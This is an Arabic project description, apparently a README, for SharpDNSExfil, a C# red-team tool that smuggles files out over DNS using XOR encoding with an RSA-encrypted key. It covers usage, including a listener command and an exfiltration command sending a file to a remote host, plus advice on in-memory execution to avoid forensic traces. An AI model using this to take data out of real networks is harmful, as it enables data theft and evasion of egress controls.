
أداة بلغة C# لتهريب الملفات عبر DNS باستخدام تشفير XOR والتشفير غير المتماثل، مصممة لعمليات الفريق الأحمر مع اتصالات صادرة مقيدة.
SharpDNSExfil هي أداة تسريب (exfiltration) مكتوبة بلغة C#. الهدف الأساسي هو تسريب أي ملفات "موجودة على القرص" دون الحاجة للقلق بشأن اتصالات الخروج المقيدة.
حصلت على RCE أعمى أثناء مهامي، واتضح أن الآلة البعيدة لديها حماية جدار ناري لا تسمح بالاتصالات الصادرة مما جعل الأمر صعبًا للحصول على اتصال عكسي. الشيء الجيد هو أن خادم DNS يمكنه حل أسماء النطاقات العامة والوصول إلي عبر DNS. المشكلة أنني ما زلت لم أستطع الحصول على شيل عكسي، استطعت قراءة بعض المخرجات الصغيرة، لكن لا فائدة. لذا جاءتني فكرة أتمتة العملية عبر DNS فقط وتكرار جميع الخطوات، وأخيرًا نجح الأمر!
تحذير: تم اختبار العملية بأكملها فقط عبر خادم DNS عام مخصص لكن لم يتم اختبارها بالكامل في بيئة شركات حقيقية. لذا استخدمه على مسؤوليتك الخاصة!
جميع البايتات المسربة يتم تطبيق XOR عليها بمفتاح عشوائي. قد تعتقد أن المفتاح سيكون نصًا عاديًا على مستوى الشبكة (سيراه Wireshark). مع خيار --encrypt، يأتي دور التشفير غير المتماثل، حيث يقوم مفتاح عام ثابت بتشفير مفتاح XOR. الجهاز المحلي (أنت) يتوقع استلام مفتاح مشفر، وسيقوم سكريبت Python تلقائيًا بفك تشفير المفتاح باستخدام المفتاح الخاص الثابت. باقي البيانات المرسلة ستخضع لـ XOR لتعيدها إلى بايتاتها الأصلية. لذا، قم دائمًا بتغيير أزواج المفاتيح من فضلك
| قبل التشفير | بعد التشفير |
|---|---|
![]() | ![]() |
dnsserver.py بلغة Python. الخيارات كالتاليpython3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
خطوات وعمليات SharpDNSExfil يجب أن تُنفذ جميعها في الذاكرة دون لمس القرص لتجنب ترك بقايا أثناء المهام. سيقوم SharpDNSExfil بإعلامك بكل خطوة أو عملية يقوم بها في الخلفية مع خيار --verbose. كل بايت يتم إرساله يتم ترميزه بـ XOR وسيتم تشفير المفتاح أيضًا بتشفير غير متماثل لتجنب وجود المفتاح كنص عادي في حركة الشبكة. كن حذرًا للغاية وقم دائمًا بتدوين الملاحظات ونظف ممتلكات العميل.